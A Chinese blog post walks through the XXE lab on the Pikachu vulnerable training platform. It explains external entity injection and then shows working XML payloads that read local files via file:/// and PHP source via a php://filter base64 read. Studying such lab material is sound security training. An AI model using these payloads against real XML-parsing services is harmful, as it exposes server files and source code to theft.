首页 > 其他分享 >pikachu平台XXE漏洞通关教程详解

pikachu平台XXE漏洞通关教程详解

时间:2024-11-26 17:10:47浏览次数:7  
标签:xml 教程 读取 pikachu 实体 漏洞 详解 XXE 解析

声明!
如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人无关,切勿触碰法律底线,否则后果自负!!!!

工具在网盘,自取

通过网盘分享的文件:phpstudy
链接: https://pan.baidu.com/s/1l0jpNGQvYMwRSq3BhDY1EQ 提取码: jay1
–来自百度网盘超级会员v1的分享

在这里插入图片描述

目录


1. 概述

XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。


2. 教程

示例代码:

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE root[                     #定义一个root               
       <!ENTITY a "hello world">      #定义a参数,其内容未‘hello world’
       ]>

	<root>&a;</root>                    #调用a参数

将内容提交到表单,看到返回结果

在这里插入图片描述
查看返回结果:
在这里插入图片描述
成功返回数据

1. 读取本地文件:

在本地文件夹 下创建1.txt写入: hello track!
在这里插入图片描述

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE root[                     
       <!ENTITY a SYSTEM "file:///D:/phpstudy_pro/WWW/pikachu-master/1.txt">      
       ]>

	<root>&a;</root>

提交后会返回

在这里插入图片描述

2. php伪协议读取

在1.php里 写入:<?php phpinfo(); ?>

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE root[                     
       <!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/pikachu-master/1.php">      
       ]>

	<root>&a;</root>

执行结果如下:
在这里插入图片描述


标签:xml,教程,读取,pikachu,实体,漏洞,详解,XXE,解析
From: https://www.cnblogs.com/GuijiH6/p/18570540

相关文章

  • Python那些事儿 - 函数的参数详解
    第十回巅峰对决前言这一回我们将对函数的参数进行详细的讲解。函数的参数分为形参和实参,形参又分为:位置参数、默认参数(缺省参数)、位置不定长参数、关键字不定长参数实参又分为:位置参数、关键字参数接下来让我们一起走进函数的参数吧!......
  • 性能指标详解
    一、监听器中的插件@gc-ActiveThreadsOverTimeip活动线程时间@gc-AutoStopListener自动停止侦听器@gc-BytesThroughputOverTimejp字节吞吐量随时间变化@gc-CompositeGraph综合图@gc-ConnectTimesOverTimejp连接时间@gc-ConsoleStatusLoggerjp......
  • JavaScript 条件语句详解
    JavaScript条件语句概述条件语句的作用在JavaScript编程中,条件语句是控制程序流程的核心机制。它们使程序能够根据特定条件执行不同代码块,从而实现灵活的决策逻辑。通过使用if、if-else和switch等语句,开发者可以根据变量值或表达式结果动态地改变代码执行路径,使得程序能够......
  • Java中的final关键字详解
    在Java中,final关键字是一个非常重要的修饰符,用于控制变量、方法或类的不可变性或不可覆盖性。下面我将通过文字解释和代码示例详细讲解final关键字的用法。 1.final关键字概述final关键字可以用于以下三种场景:变量:用于声明常量,使其值在初始化后不能被修改。方法:用于......
  • 网站调取天地图开发全攻略:方法与步骤详解
    地理信息系统(GIS)在网站开发中的应用日益广泛。天地图作为国内权威的地理信息服务平台,为开发者提供了丰富的地图数据和强大的功能接口。本文将详细介绍网站调取天地图进行开发的方法和步骤,帮助开发者快速上手,打造出具有地理信息展示功能的优质网站。一、使用天地图JavaScript......
  • 【网络安全零基础入门教程】之Web安全渗透测试-pikachu&DVWA靶场搭建教程,网络安全零基
    这是我给粉丝盆友们整理的网络安全渗透测试入门阶段远程代码执行渗透与防御的基础教程喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。对于web安全刚入门的小伙伴来说,漏洞靶场搭建是很重要的,可以通过靶场学以致用,对所学知识点进行巩固练习。下面和我一起搭建......
  • HTTP状态码详解及其解决方案404,403,500等
    HTTP状态码详解及其解决方案引言在现代互联网中,HTTP(HyperTextTransferProtocol,超文本传输协议)是最常用的数据传输协议之一。它定义了客户端(通常是浏览器)与服务器之间如何进行通信。HTTP状态码是服务器响应请求时返回的一个三位数字,用于描述请求的处理结果。这些状态码不仅......
  • SpringBoot整合QQ邮件发送详解(完整教程)
    进入QQ邮箱官网,然后登录,进去之后点击账号与安全按照一下步骤走会得到一个授权码1.导入依赖<!--mail--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-mail</artifactId>......
  • 【论文复现】多模态COGMEN详解
    ......
  • Java面试要点42 - Java IO:字节流与字符流详解
    文章目录一、引言二、IO流的基本概念三、字节流体系四、字符流体系五、字节流与字符流的转换六、IO操作的最佳实践6.1资源管理和异常处理6.2性能优化策略6.3字符编码处理6.4现代文件操作API的使用6.5安全性考虑总结一、引言在Java编程中,IO(输入/输出)操作是一......